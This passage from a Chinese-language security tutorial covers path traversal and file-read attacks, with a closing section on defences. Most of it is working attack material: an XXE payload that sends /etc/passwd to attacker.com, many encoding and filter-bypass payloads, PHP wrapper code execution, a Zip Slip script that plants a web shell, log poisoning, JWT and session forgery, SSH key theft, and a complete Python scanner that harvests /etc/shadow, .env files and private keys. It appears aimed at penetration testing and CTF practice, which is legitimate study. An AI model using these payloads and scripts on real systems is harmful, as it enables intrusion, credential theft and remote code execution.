<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&send;</root>
<!-- evil.dtd 内容(放在攻击者服务器)-->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;
5.5 二进制文件读取
# 某些场景需要读取二进制文件(如 SQLite 数据库、Python pyc 文件)
# 方法一:Base64 编码传输
?file=php://filter/convert.base64-encode/resource=/path/to/database.sqlite
# 方法二:Hex 编码
?file=php://filter/convert.base64-encode/resource=/path/to/file.pyc
# 方法三:Python 脚本解析
import requests, base64
def read_binary(url, param, filepath):
payload = f"php://filter/convert.base64-encode/resource={filepath}"
r = requests.get(url, params={param: payload})
data = base64.b64decode(r.text.strip() + '==')
return data
# 读取 SQLite 数据库
db_data = read_binary("http://target.com/", "file", "/var/www/html/database.sqlite")
with open("stolen.sqlite", "wb") as f:
f.write(db_data)
# 在本地分析
import sqlite3
conn = sqlite3.connect("stolen.sqlite")
tables = conn.execute("SELECT name FROM sqlite_master WHERE type='table'").fetchall()
print("Tables:", tables)
6、绕过技巧
6.1 路径编码绕过
6.1.1 URL 编码(百分号编码)
# 基础 URL 编码
../ → %2e%2e%2f
..\ → %2e%2e%5c
/ → %2f
\ → %5c
. → %2e
# 只编码关键部分
..%2f → ../ (只编码斜杠)
%2e./ → ../ (只编码第一个点)
.%2e/ → ../ (只编码第二个点)
%2e%2e/ → ../ (只编码两个点)
# 完整路径编码示例
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd → ../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd → ../../../etc/passwd
6.1.2 双重 URL 编码
# 某些 WAF/中间件只解码一次,双重编码后只解码第一层,规则未触发
# 但应用会再解码一次,最终执行穿越
/ → %2f → %252f (/ → %2f → %252f)
. → %2e → %252e (. → %2e → %252e)
.. → %2e%2e → %252e%252e
# 双重编码完整示例
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
# WAF 解码一次:%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd → 不匹配 ../
# 应用解码一次:../../../etc/passwd → 路径穿越成功 ✅
# 更多变种
..%25%32%66 → ..%2f → ../ (2f 的每个字符分别编码)
%252e%252e/ → %2e%2e/ → ../
6.1.3 Unicode / UTF-8 编码绕过
# 非标准 UTF-8 编码(某些服务器/中间件接受)
../ → ..%c0%af (超长 UTF-8 编码的 /)
..\ → ..%c1%9c (超长 UTF-8 编码的 \)
/ → %c0%af (0xC0 0xAF 解码为 /)
/ → %e0%80%af (三字节超长编码)
/ → %f0%80%80%af (四字节超长编码)
# Unicode 全角字符
/ → %ef%bc%8f (全角斜杠 / U+FF0F)
. → %ef%bc%8e (全角句点 . U+FF0E)
\ → %ef%bc%bc (全角反斜杠 \ U+FF3C)
# 利用 Unicode 规范化(NFKC/NFC)
# 某些服务器会对 Unicode 做规范化处理
../etc/passwd → ../etc/passwd (全角 → 半角)
6.1.4 其他编码方式
# HTML 实体编码(某些场景有效)
../ → ../
. → .
/ → /
/ → /
# 十六进制路径(某些语言/框架)
\x2e\x2e\x2f → ../
\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64 → /etc/passwd
# 八进制(Shell 命令注入场景)
$'\57'etc$'\57'passwd → /etc/passwd
$'\056\056\057' → ../
# Base64 编码路径(特定框架)
# 某些 API 接受 Base64 编码的路径参数
Li4vLi4vLi4vZXRjL3Bhc3N3ZA== → ../../../etc/passwd
6.2 路径变形绕过
6.2.1 str_replace 过滤绕过
// 目标过滤代码
$file = str_replace('../', '', $input);
$file = str_replace(['../', '..\\'], '', $input);
# 嵌套绕过(删除 ../ 后剩余的字符串仍构成 ../)
....// → 删除 ../ 后得到 ../
....\\ → 删除 ..\\ 后得到 ..\
....\/ → 删除 ..\ 后得到 ../(混合分隔符)
..././ → 删除 ./ 后得到 ../
....\./ → 删除 .\\ 后得到 ../
# 多级嵌套(针对递归删除不彻底的情况)
....//....//....//etc/passwd
..././..././..././etc/passwd
# 针对 str_replace 的多重嵌套(确保删除后仍剩余有效穿越串)
.....///.....///.....///etc/passwd → ....//....//....// → ../ 穿越
6.2.2 正则过滤绕过
// 目标过滤代码
$file = preg_replace('/\.\.\//', '', $input); // 过滤 ../
$file = preg_replace('/[\.]{2,}[\/\\\\]/', '', $input); // 过滤 ../ 或 ..\
# 正则非递归时的嵌套绕过
....// → preg_replace 删除第一个 ../ → 剩余 ../
# 大小写绕过(正则无 i 修饰符,Windows 路径)
..\ → 在 Windows 上等价于 ../
# 混合分隔符
../ → 正斜杠(Linux)
..\ → 反斜杠(Windows)
..\/ → 混合(某些服务器接受)
../\ → 混合
..\/ ..\\ =/ → 混合变种
6.2.3 路径标准化特性利用
# 多余的路径分隔符
////etc////passwd → /etc/passwd(连续斜杠被合并)
/etc//passwd → /etc/passwd
//etc/passwd → /etc/passwd
./etc/./passwd → /etc/passwd(当前目录引用被消除)
/var/www/html/../../etc/passwd → /etc/passwd
# 路径末尾点和斜杠
/etc/passwd/. → /etc/passwd(末尾 /. 被消除)
/etc/passwd/./ → /etc/passwd
/etc/./passwd → /etc/passwd(中间 ./ 被消除)
# Windows 特有
C:\Windows\.\system32\drivers\etc\hosts → C:\Windows\system32\drivers\etc\hosts
C:\Windows\\system32\drivers\etc\hosts → 同上(双反斜杠合并)
# 利用 realpath 与预期不符
# 某些代码先检查路径再 realpath,如果顺序有问题可绕过
6.2.4 截断技巧
# 空字节截断(PHP < 5.3.4)
?file=../../../etc/passwd%00.php
?file=../../../etc/passwd%00.jpg
# 应用以为读取 .php/.jpg 文件,实际读取 /etc/passwd
# 问号截断(某些 URL 解析差异)
?file=../../../etc/passwd?.php
?file=../../../etc/passwd?a=b
# 井号截断(URL 片段,某些服务器不传递)
?file=../../../etc/passwd#.php
# 路径长度截断(Linux PATH_MAX = 4096)
# 路径总长超过 4096 字节时,某些实现会截断
?file=../../../etc/passwd/ + "a" * 4000 + ".php"
# 某些 PHP 版本会因路径过长截断后缀
6.3 协议与函数替换绕过
6.3.1 PHP 伪协议绕过
# 当 file_get_contents / include 等函数过滤了 ../ 时
# 使用 PHP 伪协议直接指定目标(无需路径穿越)
# php://filter 读取源码
?file=php://filter/convert.base64-encode/resource=/etc/passwd
?file=php://filter/convert.base64-encode/resource=/var/www/html/config.php
# 绕过对 php:// 的过滤
?file=PHP://filter/... 大小写
?file=php%3a%2f%2f... URL 编码
?file=php:%2f%2f... 部分编码
# data:// 直接执行代码(当 allow_url_include=On)
?file=data://text/plain,<?php system('id'); ?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
# file:// 直接读取
?file=file:///etc/passwd
?file=file://localhost/etc/passwd
# expect:// 直接执行命令(需安装 expect 扩展)
?file=expect://id
6.3.2 绕过对特定函数的限制
// 目标:readfile() 被过滤,但其他函数可用
// file_get_contents 替代
echo file_get_contents($path);
// SplFileObject 替代
$obj = new SplFileObject($path);
while (!$obj->eof()) echo $obj->fgets();
// fopen + fread 替代
$fh = fopen($path, 'r');
echo fread($fh, filesize($path));
fclose($fh);
// include/require 用于读取(同时执行 PHP 代码)
include $path;
// highlight_file 显示 PHP 源码
highlight_file($path);
show_source($path);
// glob 枚举文件
print_r(glob('/etc/p*')); // 列举 /etc/ 下 p 开头的文件
// 利用类
$x = new DirectoryIterator('/');
foreach ($x as $f) echo $f->getFilename() . "\n";
6.3.3 不同场景的协议利用
# Java / Spring 场景
file:///etc/passwd
file:/etc/passwd
jar:file:///etc/passwd!/
netdoc:///etc/passwd # 某些 Java 版本
# Node.js 场景
file:///etc/passwd # 通过 URL 模块
require('/etc/passwd') # 尝试加载(会失败,但可能触发文件读取)
# Python urllib 场景
file:///etc/passwd
file://localhost/etc/passwd
# ASP.NET / IIS
file:///C:/Windows/win.ini
\\127.0.0.1\c$\Windows\win.ini # UNC 路径(内网)
# Ruby
File.read(path)
IO.read(path)
open(path) # open 在 Ruby 中调用 shell(若以 | 开头)
6.4 操作系统特性绕过
6.4.1 Linux 特性利用
# 软链接(Symlink)绕过
# 若上传目录或可写目录允许软链接,创建指向目标文件的链接
ln -s /etc/passwd /var/www/html/uploads/passwd.txt
# 访问 http://target.com/uploads/passwd.txt → 读取 /etc/passwd
# /proc/self/root 绕过(某些 chroot 逃逸)
/proc/self/root/etc/passwd → 等价于 /etc/passwd
/proc/self/root/proc/self/root/etc/passwd → 嵌套多层
# 通配符路径(glob 函数场景)
/etc/p*sswd → 匹配 /etc/passwd
/etc/passw? → 匹配 /etc/passwd
/e?c/pas?wd → 匹配 /etc/passwd
/???/passwd → 匹配 /etc/passwd(? 匹配单字符)
/[e]tc/passwd → 字符类匹配
# 硬链接(Hard Link)
find / -samefile /etc/passwd 2>/dev/null # 查找硬链接
# 某些文件可能有硬链接在可访问目录
# 大写路径(某些文件系统配置不区分大小写)
/ETC/PASSWD → /etc/passwd(不区分大小写的文件系统)
6.4.2 Windows 特性利用
# 短文件名(8.3 格式)
C:\Program Files\ → C:\PROGRA~1\
C:\Windows\System32\ → C:\WINDOWS\SYSTEM32\(不区分大小写)
C:\inetpub\wwwroot\web.config → C:\INETPUB~1\WWWROOT\WEB.CON~1
# 等价路径表示
C:\Windows\system32\drivers\etc\hosts
C:\Windows\SYSTEM32\DRIVERS\ETC\HOSTS 大小写不敏感
C:\Windows\.\system32\.\drivers\etc\hosts 插入 .
# NTFS 交换数据流(ADS)
C:\Windows\win.ini::$DATA → 读取主流(等价于直接读取)
C:\secret.txt::$DATA
# UNC 路径(网络路径,某些场景用于绕过)
\\127.0.0.1\C$\Windows\win.ini
\\localhost\c$\windows\win.ini
\\?\C:\Windows\win.ini (扩展路径语法,跳过某些路径处理)
\\.\C:\Windows\win.ini (设备路径)
# 设备名(DOS 设备命名空间)
\\.\CON \\.\NUL \\.\COM1 (特殊设备)
6.4.3 中间件特性利用
# Java URL 编码特性
# Java 的 URL 解码可能在某些版本上不一致
%c0%ae → . (超长 UTF-8)
%c0%af → / (超长 UTF-8)
# Tomcat 路径解析
/..;/ → ../ (Tomcat 特殊解析,用于 URL 跳转绕过)
/;param/ → / (参数注入绕过)
# Nginx 路径规范化
//etc/passwd → /etc/passwd (双斜杠)
/%2e%2e/etc/passwd → /../etc/passwd (编码点)
# Apache mod_rewrite 绕过
/files/%2e%2e/etc/passwd → 某些配置不解码 URL 中的 %2e
/files/..%2fother → 绕过某些 RewriteRule
# PHP open_basedir 绕过技巧(CTF 场景)
# 利用 glob:// 枚举文件(不受 open_basedir 限制)
glob:///etc/p* → 枚举 /etc/ 下文件
glob:///v?r/log/*.log → 枚举日志文件
# 利用 SplFileObject 绕过某些检测
$x = new SplFileInfo('/etc/passwd');
echo $x->openFile()->fread(1000);
7、各类应用中的利用场景
7.1 下载/查看功能
# 常见参数名(可能存在路径穿越)
?file=
?filename=
?path=
?filepath=
?name=
?doc=
?document=
?load=
?read=
?page=
?include=
?template=
?view=
?module=
?img=
?image=
?resource=
?src=
?url= # 可能触发 SSRF + 文件读取
# HTTP 请求示例
GET /download?file=report.pdf HTTP/1.1
GET /download?file=../../../../etc/passwd HTTP/1.1 ← 攻击
GET /viewer?path=images/photo.jpg HTTP/1.1
GET /viewer?path=../../../../etc/passwd HTTP/1.1 ← 攻击
# Cookie / Header 注入
Cookie: theme=dark
Cookie: theme=../../../../etc/passwd ← 攻击
# JSON Body
{"template": "default"}
{"template": "../../../../etc/passwd"} ← 攻击
7.2 ZIP/归档解压漏洞(Zip Slip)
# ZIP Slip:归档文件中的文件名包含 ../,解压时覆盖任意文件
import zipfile, io
def create_zipslip(target_path, content):
"""
创建包含路径穿越的恶意 ZIP 文件
target_path: 目标文件路径(含 ../)
content: 写入的内容(WebShell)
"""
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
# 添加正常文件(避免空 ZIP 报错)
z.writestr('normal.txt', 'normal content')
# 添加恶意路径文件
z.writestr(target_path, content)
return buf.getvalue()
# 生成恶意 ZIP
shell_code = '<?php system($_GET["cmd"]); ?>'
target = '../../../../var/www/html/shell.php'
evil_zip = create_zipslip(target, shell_code)
with open('evil.zip', 'wb') as f:
f.write(evil_zip)
print(f"Generated evil.zip, target: {target}")
print("Upload and trigger extraction → check /shell.php?cmd=id")
# Java Zip Slip 同样存在
# 解压时未规范化 entry.getName() 直接写入文件
7.3 文件名参数注入(Git/SVN 操作)
# 某些应用通过文件名调用 git/svn 命令
# 若文件名未转义,可以注入命令
# Git 操作参数注入
filename="--output /etc/passwd" # git clone --output
filename="|id>/tmp/pwned" # 管道注入
# 文件名中的特殊字符
filename="../.ssh/authorized_keys" # 写入 SSH 公钥(需写权限)
filename="../../.htpasswd" # 修改 Apache 认证
7.4 日志文件中的路径穿越
# 某些日志查看功能存在路径穿越
GET /admin/logs?file=app.log HTTP/1.1
GET /admin/logs?file=../../../../etc/passwd HTTP/1.1
# 日志目录限制可通过多级穿越绕过
/logs/ 目录深度 1,需要 ../ 逃出
?file=../../../etc/passwd
# 特定应用日志路径
?logfile=../../../../var/log/apache2/access.log # 读取访问日志
?logfile=../../../../var/log/auth.log # 读取认证日志
7.5 FFmpeg / ImageMagick 等工具的 SSRF + 文件读取
# FFmpeg HLS 播放列表读取本地文件
# 上传恶意 HLS 播放列表(m3u8)触发文件读取
# evil.m3u8 内容
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
file:///etc/passwd
#EXT-X-ENDLIST
# ImageMagick 文件读取
# 上传含特殊指令的图片,触发 ImageMagick 处理时读取文件
# MSL (Magick Scripting Language) 注入
# SSRF → 文件读取
?url=http://127.0.0.1/internal-api
?url=file:///etc/passwd
?url=dict://127.0.0.1:6379/info # Redis 未授权信息泄露
8、文件读取转 RCE
文件读取漏洞通常被认为是"只能泄露信息",但在以下场景可进一步利用实现 RCE:
8.1 读取密钥 → 伪造认证 → RCE
# 场景一:读取 JWT Secret → 伪造管理员 JWT
import jwt
# 读取 .env 获取 JWT Secret
secret = "读取到的JWT_SECRET_KEY"
# 伪造管理员 Token
payload = {"user_id": 1, "role": "admin", "is_admin": True}
forged_token = jwt.encode(payload, secret, algorithm="HS256")
print(f"Forged JWT: {forged_token}")
# 使用伪造 Token 访问管理员接口
import requests
headers = {"Authorization": f"Bearer {forged_token}"}
r = requests.get("http://target.com/admin/rce", headers=headers)
# 场景二:读取 Flask SECRET_KEY → 伪造 Session
from flask.sessions import SecureCookieSessionInterface
from flask import Flask
app = Flask(__name__)
app.secret_key = "读取到的SECRET_KEY"
# 伪造 Flask Session
with app.test_request_context():
session_data = {"user": "admin", "is_admin": True}
# 使用 itsdangerous 序列化
signer = app.session_interface.get_signing_serializer(app)
forged_session = signer.dumps(dict(session_data))
print(f"Forged Session Cookie: session={forged_session}")
8.2 读取配置文件 → 数据库命令执行
# 步骤一:读取数据库配置
?file=../../../../var/www/html/config.php
# 获得:DB_HOST=127.0.0.1, DB_USER=root, DB_PASS=secret123, DB_NAME=app
# 步骤二(若 MySQL 有 FILE 权限)
# 通过 SQL 注入 + LOAD_FILE/INTO OUTFILE 读写文件
SELECT LOAD_FILE('/etc/passwd');
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
# 步骤三:通过 WebShell 执行命令
8.3 读取 SSH 私钥 → 直接 SSH 登录
# 步骤一:读取私钥
?file=../../../../root/.ssh/id_rsa
# 或
?file=../../../../home/www-data/.ssh/id_rsa
# 步骤二:保存私钥并修改权限
cat > stolen_key << 'EOF'
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA...
-----END RSA PRIVATE KEY-----
EOF
chmod 600 stolen_key
# 步骤三:直接 SSH 登录
ssh -i stolen_key root@target.com
ssh -i stolen_key www-data@target.com
# 若私钥有密码保护
ssh2john stolen_key > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
8.4 读取应用密钥 → 反序列化 RCE
# Laravel APP_KEY → 反序列化 RCE
# 步骤一:读取 .env 获取 APP_KEY
?file=../../../../var/www/html/.env
# APP_KEY=base64:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# 步骤二:使用 Laravel 反序列化利用工具
# phpggc 生成 Payload
# phpggc Laravel/RCE1 system id | base64
# 步骤三:使用 APP_KEY 签名 Payload,伪造 Cookie
# 工具:https://github.com/nth347/CVE-2021-3129_exploit
# ThinkPHP 缓存文件 RCE
# 读取缓存目录下的 .php 缓存文件
?file=../../../../runtime/cache/
# 若缓存文件中有可控内容,可写入 PHP 代码
8.5 读取日志 → 日志污染 → RCE
# 步骤一:将 PHP 代码写入 User-Agent(污染 Apache 日志)
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/
# 步骤二:通过文件读取漏洞包含日志文件
?file=../../../../var/log/apache2/access.log&cmd=id
# 详见文件包含专题
8.6 读取 /proc/self/mem → 内存中的 PHP 代码
# 高级技巧:通过读取进程内存修改执行流程(CTF 场景)
# 读取 /proc/self/maps 获取内存布局
# 读取 /proc/self/mem 的特定偏移获取内存数据
# 通过 /proc/self/mem 写入(若有写权限 - 极少见)
# 可修改内存中的函数指针实现 RCE
9、自动化利用工具
9.1 ffuf / dirb 路径穿越 Fuzz
# 使用 ffuf 对文件读取参数进行 Fuzz
ffuf -u "http://target.com/download?file=FUZZ" \
-w traversal_payloads.txt \
-fc 404,403 \
-fs 0 \
-o results.json
# traversal_payloads.txt 内容
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../../../etc/passwd
..%2fetc%2fpasswd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
....//etc/passwd
....//....//....//etc/passwd
php://filter/convert.base64-encode/resource=index.php
/etc/passwd
/etc/shadow
/proc/self/environ
/proc/self/cmdline
9.2 Burp Suite 自动化测试
# Burp Suite Intruder 配置
# 1. 截获包含文件参数的请求
# 2. 在 Intruder 中将 file 参数值标记为 Payload 位置
# 3. Payload 类型选择 "Simple list",导入 traversal_payloads.txt
# 4. 添加 Grep - Match 规则:root:、[boot loader]、for 16-bit(检测成功)
# 5. 过滤响应长度/状态码,识别有效 Payload
# Burp Active Scan 插件:Backslash Powered Scanner
# 可自动检测路径穿越漏洞
9.3 dotdotpwn 专用工具
# dotdotpwn:专门的路径穿越测试工具
dotdotpwn -m http -h target.com -u "http://target.com/download?file=TRAVERSAL" \
-b -o unix
# 参数说明
# -m http HTTP 模式
# -h 目标主机
# -u URL(TRAVERSAL 为替换位置)
# -b 仅显示有效的结果
# -o unix 目标 OS(unix/windows/generic)
# 测试 FTP 路径穿越
dotdotpwn -m ftp -h target.com -U ftpuser -P ftppass -b
# 测试特定深度
dotdotpwn -m http-url -u "http://target.com/?file=TRAVERSAL" -d 10 -b
9.4 Python 自动化脚本
#!/usr/bin/env python3
"""
路径穿越自动化利用脚本
支持:
- 自动探测参数
- 多种绕过手法
- 批量读取敏感文件
"""
import requests
import base64
import urllib.parse
from concurrent.futures import ThreadPoolExecutor
import argparse
class PathTraversalScanner:
def __init__(self, target_url, param, cookies=None, headers=None):
self.url = target_url
self.param = param
self.session = requests.Session()
if cookies:
self.session.cookies.update(cookies)
if headers:
self.session.headers.update(headers)
self.success_payloads = []
# 路径穿越 Payload 列表
TRAVERSAL_PATTERNS = [
"{}", # 直接读取(绝对路径)
"../../{}",
"../../../{}",
"../../../../{}",
"../../../../../{}",
"../../../../../../{}",
"../../../../../../../../{}",
"..%2f..%2f..%2f..%2f{}",
"%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{}",
"..%252f..%252f..%252f..%252f{}",
"....//....//....//....//{}",
"php://filter/convert.base64-encode/resource={}", # PHP 源码读取
]
# 敏感文件列表
SENSITIVE_FILES = {
"linux": [
"/etc/passwd", "/etc/shadow", "/etc/hosts",
"/proc/self/environ", "/proc/self/cmdline",
"/proc/net/tcp", "/proc/version",
"/root/.ssh/id_rsa", "/root/.bash_history",
"/var/log/apache2/access.log",
"/var/log/nginx/access.log",
],
"web": [
"index.php", "config.php", ".env", "wp-config.php",
"../config.php", "../../.env",
],
"windows": [
"C:\\Windows\\win.ini",
"C:\\Windows\\System32\\drivers\\etc\\hosts",
]
}
def check_success(self, response, filename):
"""判断是否成功读取文件"""
indicators = {
"/etc/passwd": "root:",
"/etc/shadow": "root:",
"/proc/self/environ": "HOME=",
"/proc/self/cmdline": "",
"win.ini": "[fonts]",
"/proc/version": "Linux version",
}
for key, indicator in indicators.items():
if key in filename and indicator in response.text:
return True
# 通用判断:响应有内容且不是错误页
if len(response.text) > 100 and response.status_code == 200:
return True
return False
def try_payload(self, pattern, target_file):
"""尝试单个 Payload"""
payload = pattern.format(target_file)
try:
r = self.session.get(self.url, params={self.param: payload}, timeout=10)
if self.check_success(r, target_file):
# Base64 解码(针对 php://filter)
content = r.text
if "php://filter" in pattern:
try:
content = base64.b64decode(r.text.strip() + "==").decode("utf-8", errors="ignore")
except Exception:
pass
return payload, content
except Exception:
pass
return None, None
def scan(self):
"""执行扫描"""
print(f"[*] Scanning: {self.url}")
print(f"[*] Parameter: {self.param}")
# 测试每个敏感文件
for category, files in self.SENSITIVE_FILES.items():
print(f"\n[*] Testing {category} files...")
for target_file in files:
for pattern in self.TRAVERSAL_PATTERNS:
payload, content = self.try_payload(pattern, target_file)
if content:
print(f"\n[+] SUCCESS: {target_file}")
print(f" Payload: {payload}")
print(f" Content preview: {content[:200]}")
self.success_payloads.append({
"file": target_file,
"payload": payload,
"content": content
})
break # 找到成功的就跳过其他 pattern
return self.success_payloads
def read_file(self, filepath, pattern=None):
"""读取指定文件"""
if pattern is None:
# 自动选择最佳 pattern(从成功的 payload 中推断)
if self.success_payloads:
pattern = self.success_payloads[0]["payload"].split(
self.success_payloads[0]["file"])[0] + "{}"
else:
pattern = "../../../../{}"
payload, content = self.try_payload(pattern, filepath)
return content
if __name__ == "__main__":
# 示例使用
scanner = PathTraversalScanner(
target_url="http://target.com/download",
param="file",
cookies={"PHPSESSID": "your_session_id"}
)
results = scanner.scan()
# 读取特定文件
if results:
env = scanner.read_file(".env")
if env:
print("\n[!] .env file contents:")
print(env)
10、CTF 实战思路
10.1 快速判断流程
发现疑似文件读取参数(file/path/template/page/img/doc/name 等)
↓
Step 1:测试直接读取
?file=/etc/passwd → 成功:无过滤,直接利用
?file=../../../../etc/passwd → 成功:基础路径穿越
↓(失败)
Step 2:识别过滤类型
├── 报错包含路径 → 确认当前目录深度 → 精确构造 ../
├── 返回空白/报错 → 尝试绕过手法
└── 总是返回固定内容 → 可能是白名单(尝试 php://filter)
Step 3:尝试绕过手法
├── URL 编码:%2e%2e%2f / ..%2f
├── 双重编码:%252e%252e%252f
├── 嵌套绕过:....//
├── 空字节:%00(PHP < 5.3.4)
└── 伪协议:php://filter(不受 ../ 过滤影响)
Step 4:确定利用方向
├── 读取源码(php://filter)→ 审计发现新漏洞
├── 读取配置(.env / config.php)→ 提取密钥
├── 读取 /proc/self/environ → 提取环境变量中的 flag/密钥
├── 读取私钥(/root/.ssh/id_rsa)→ SSH 登录
└── 读取日志 → 日志污染 → RCE
10.2 CTF 常见题目类型
| 题目特征 |
利用手法 |
| 直接文件读取(无过滤) |
?file=/etc/passwd 直接读取 |
| 限制了目录前缀 |
../../../../etc/passwd 路径穿越 |
过滤了 ../ |
嵌套 ....// / URL 编码 ..%2f |
白名单扩展名 .php |
php://filter/convert.base64-encode/resource= |
| 要求读 PHP 源码不执行 |
php://filter/convert.base64-encode |
| 找 flag 在环境变量 |
读取 /proc/self/environ |
| 黑盒测试找配置文件 |
枚举常见路径 .env / config.php |
| open_basedir 限制 |
glob:// 枚举 / SplFileInfo 读取 |
| include 函数 + 路径可控 |
PHP 伪协议 + 日志污染 → RCE |
10.3 常用 flag 位置
# Linux CTF 常见 flag 路径
/flag
/flag.txt
/root/flag
/root/flag.txt
/root/flag.php
/home/ctf/flag
/tmp/flag
/var/www/html/flag.php
/proc/self/environ # flag 有时在环境变量中:FLAG=ctf{...}
/proc/1/environ # PID 1 的环境变量
# 数据库(需先读取配置)
mysql> SELECT * FROM flags;
SELECT * FROM flag;
SELECT * FROM secret;
# 配置文件中(有时直接硬编码)
/var/www/html/.env # FLAG=ctf{...}
/var/www/html/config.php # define('FLAG', 'ctf{...}');
10.4 /proc 文件系统速查(CTF 必备)
# CTF 中 /proc 最有价值的文件
# 1. 环境变量(可能含 flag)
/proc/self/environ → tr '\0' '\n' 解析
# 2. 当前进程命令行(含配置文件路径)
/proc/self/cmdline → tr '\0' ' ' 解析
# 3. 进程工作目录
/proc/self/cwd → 软链接,ls 查看
# 4. 网络信息(内网发现)
/proc/net/tcp → Hex 解析获取开放端口
# 5. 内存映射(获取库路径)
/proc/self/maps → 直接读取
# 6. 文件描述符(读取日志)
/proc/self/fd/3 → 枚举 0-20,找到日志等文件
11、防御措施
11.1 代码层面防御
<?php
/**
* 安全的文件读取实现
*/
// ✅ 方法一:白名单验证(最推荐)
function safe_read_whitelist($file) {
$allowed = [
'report_2024.pdf',
'manual.pdf',
'template.docx',
];
if (!in_array($file, $allowed)) {
http_response_code(403);
die('File not allowed');
}
return file_get_contents('/var/www/html/downloads/' . $file);
}
// ✅ 方法二:realpath 规范化 + 路径前缀验证
function safe_read_realpath($user_input) {
$base_dir = realpath('/var/www/html/files/');
if ($base_dir === false) die('Config error');
// 规范化路径(解析 ../ 等)
$real_path = realpath($base_dir . '/' . $user_input);
// 关键:验证最终路径必须在允许目录内
if ($real_path === false || strpos($real_path, $base_dir . '/') !== 0) {
http_response_code(403);
die('Access denied: path traversal detected');
}
return file_get_contents($real_path);
}
// ✅ 方法三:只允许文件名(不含路径分隔符)
function safe_read_filename_only($filename) {
// 只允许文件名,不允许路径分隔符
if (preg_match('/[\/\\\\]/', $filename) || strpos($filename, '..') !== false) {
die('Invalid filename');
}
// 只允许字母、数字、下划线、横线、点
if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $filename)) {
die('Invalid characters in filename');
}
$file_path = '/var/www/html/files/' . $filename;
if (!file_exists($file_path)) {
die('File not found');
}
return file_get_contents($file_path);
}
// ✅ Python 安全读取
def safe_read_python(filename):
import os
BASE_DIR = os.path.abspath('/var/www/files')
# 规范化用户输入路径
requested_path = os.path.abspath(os.path.join(BASE_DIR, filename))
# 验证最终路径必须在 BASE_DIR 内
if not requested_path.startswith(BASE_DIR + os.sep):
raise PermissionError("Path traversal detected")
if not os.path.isfile(requested_path):
raise FileNotFoundError("File not found")
with open(requested_path, 'r') as f:
return f.read()
// ✅ Java 安全读取(Spring Boot)
@GetMapping("/file")
public ResponseEntity<byte[]> safeGetFile(@RequestParam String filename) throws IOException {
Path baseDir = Paths.get("/var/www/files").toRealPath();
// 规范化路径并验证前缀
Path filePath = baseDir.resolve(filename).normalize();
if (!filePath.startsWith(baseDir)) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
}
if (!Files.exists(filePath) || !Files.isRegularFile(filePath)) {
return ResponseEntity.notFound().build();
}
return ResponseEntity.ok(Files.readAllBytes(filePath));
}
// ✅ Node.js 安全读取
const path = require('path');
const fs = require('fs');
function safeReadFile(filename) {
const BASE_DIR = path.resolve('/var/www/files');
const filePath = path.resolve(BASE_DIR, filename); // resolve 规范化
// 验证路径不逃出 BASE_DIR
if (!filePath.startsWith(BASE_DIR + path.sep)) {
throw new Error('Path traversal detected');
}
return fs.readFileSync(filePath, 'utf8');
}
11.2 各常见错误与正确实践对比
| ❌ 错误写法 |
✅ 正确写法 |
说明 |
file_get_contents($base . $_GET['f']) |
realpath() + 前缀校验 |
直接拼接无验证 |
str_replace('../', '', $f) |
realpath() 规范化 |
str_replace 可被嵌套绕过 |
if (strpos($f, '../') !== false) die() |
白名单验证 |
编码后的 ../ 绕过 |
os.path.join(base, f) + 无验证 |
abspath() + startswith() |
join 遇绝对路径直通 |
| 显示详细错误信息 |
记录日志,返回通用错误 |
错误信息泄露路径 |
11.3 服务器与中间件配置
# Nginx 配置:禁止访问敏感文件
server {
# 禁止访问 .env / .git / .htaccess 等
location ~ /\. {
deny all;
return 404;
}
# 禁止访问备份文件
location ~* \.(bak|backup|old|orig|original|php~|php\.bak|php\.old)$ {
deny all;
return 404;
}
# 限制只能访问特定扩展名
location /downloads/ {
if ($request_filename !~* \.(pdf|docx|xlsx|zip)$) {
return 403;
}
}
# 禁止访问 /proc、/etc 等目录(防止软链接攻击)
location ~* ^/(proc|etc|var|root|home)/ {
deny all;
return 404;
}
}
# Apache 配置
# 禁止访问敏感文件
<FilesMatch "^\.">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "\.(bak|backup|old|orig|log|sql|conf|ini)$">
Order allow,deny
Deny from all
</FilesMatch>
# 禁止访问 .git 目录
<DirectoryMatch "\.git">
Order allow,deny
Deny from all
</DirectoryMatch>
; php.ini 安全配置
; 限制 PHP 可访问的目录范围
open_basedir = /var/www/html:/tmp:/var/lib/php/sessions
; 禁用危险函数
disable_functions = exec,system,passthru,shell_exec,popen,proc_open
; 关闭远程文件包含
allow_url_include = Off
; 关闭错误信息显示(防止路径泄露)
display_errors = Off
log_errors = On
error_log = /var/log/php/error.log
11.4 防御检查清单
✅ 永远不要将用户输入直接用于文件路径
✅ 使用白名单验证允许访问的文件列表(最推荐)
✅ 使用 realpath() / os.path.abspath() 规范化路径
✅ 规范化后验证最终路径必须以允许的目录为前缀
✅ 文件名只允许字母、数字、下划线、横线等安全字符
